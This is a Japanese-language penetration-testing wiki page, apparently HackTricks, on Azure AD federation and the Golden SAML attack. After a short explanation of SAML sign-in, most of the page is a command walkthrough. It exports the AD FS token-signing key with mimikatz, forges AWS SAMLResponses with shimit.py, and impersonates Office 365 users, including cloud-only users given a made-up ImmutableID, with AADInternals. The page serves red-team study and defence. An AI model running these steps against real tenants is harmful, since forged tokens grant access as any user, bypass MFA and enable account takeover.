Az - Federation

Reading time: 13 minutes

基本情報

ドキュメントから:

フェデレーションは、信頼を確立したドメインの集合です。信頼のレベルは異なる場合がありますが、通常は認証を含み、ほぼ常に認可を含みます。典型的なフェデレーションには、共有アクセスのために信頼を確立した複数の組織が含まれることがあります。 あなたはオンプレミスの環境をAzure ADとフェデレートし、このフェデレーションを認証と認可に使用できます。このサインイン方法は、すべてのユーザーの認証がオンプレミスで行われることを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。AD FSおよびPingFederateとのフェデレーションが利用可能です。

基本的に、フェデレーションでは、すべての認証がオンプレ環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーはオンプレの資格情報を使用してクラウドアプリケーションにアクセスできます。

セキュリティアサーションマークアップ言語 (SAML) は、プロバイダー間でのすべての認証および認可の情報の交換に使用されます。

フェデレーションのセットアップには、3つの当事者が存在します：

• ユーザーまたはクライアント
• アイデンティティプロバイダー (IdP)
• サービスプロバイダー (SP)

1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは、特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。
2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証されれば、IdPとの信頼関係を示し、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。

SAML認証と一般的な攻撃についてもっと学びたい場合は、次に移動してください:

SAML Attacks - HackTricks

ピボッティング

• AD FSは、クレームベースのアイデンティティモデルです。
• "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを認可するために使用されます。"
• ユーザーのクレームはSAMLトークン内に書き込まれ、IdPによって機密性を提供するために署名されます。
• ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。
• ImmutableIDは、ユーザーのためにオンプレミスのms-DS-ConsistencyGuidに保存されており、またはユーザーのGUIDから導出できます。
• 詳細はhttps://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claimsを参照してください。

ゴールデンSAML攻撃:

• ADFSでは、SAML Responseはトークン署名証明書によって署名されます。
• 証明書が侵害された場合、Azure ADに同期された任意のユーザーとして認証することが可能です！
• PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がなく、認証応答を偽造しているためです。
• 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。
• 詳細はhttps://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-appsを参照してください。

ゴールデンSAML

アイデンティティプロバイダー (IdP) がユーザーサインインを認可するためにSAMLResponseを生成するプロセスは重要です。IdPの特定の実装に応じて、応答は署名または暗号化される場合があります。これは、サービスプロバイダー (SP) がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。

ゴールデンチケット攻撃と類似点を引くことができ、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して認証オブジェクト (TGTまたはSAMLResponse) を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。

ゴールデンSAMLにはいくつかの利点があります：

• リモートで作成でき、ドメインやフェデレーションの一部である必要がありません。
• 二要素認証 (2FA) が有効でも効果があります。
• トークン署名の秘密鍵は自動的に更新されません。
• ユーザーのパスワードを変更しても、すでに生成されたSAMLは無効になりません。

AWS + AD FS + ゴールデンSAML

Active Directory Federation Services (AD FS)は、信頼されたビジネスパートナー間でのアイデンティティ情報の安全な交換を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。

AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の任意の権限を取得することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される秘密鍵が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。

ゴールデンSAML攻撃を実行するための要件は次のとおりです：

• トークン署名秘密鍵
• IdP公開証明書
• IdP名
• ロール名 (引き受けるロール)
• ドメイン\ユーザー名
• AWSのロールセッション名
• AmazonアカウントID

太字の項目のみが必須です。他の項目は任意で入力できます。

秘密鍵を取得するには、AD FSユーザーアカウントへのアクセスが必要です。そこから、秘密鍵をmimikatzのようなツールを使用して個人ストアからエクスポートできます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください：

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

すべての情報を使用して、shimit**を使用して、なりすましたいユーザーとして有効なSAMLResponseを忘れることが可能です。

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

オンプレミス -> クラウド

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

クラウド専用ユーザーのImmutableIDを作成し、彼らを偽装することも可能です。

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

参考文献

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps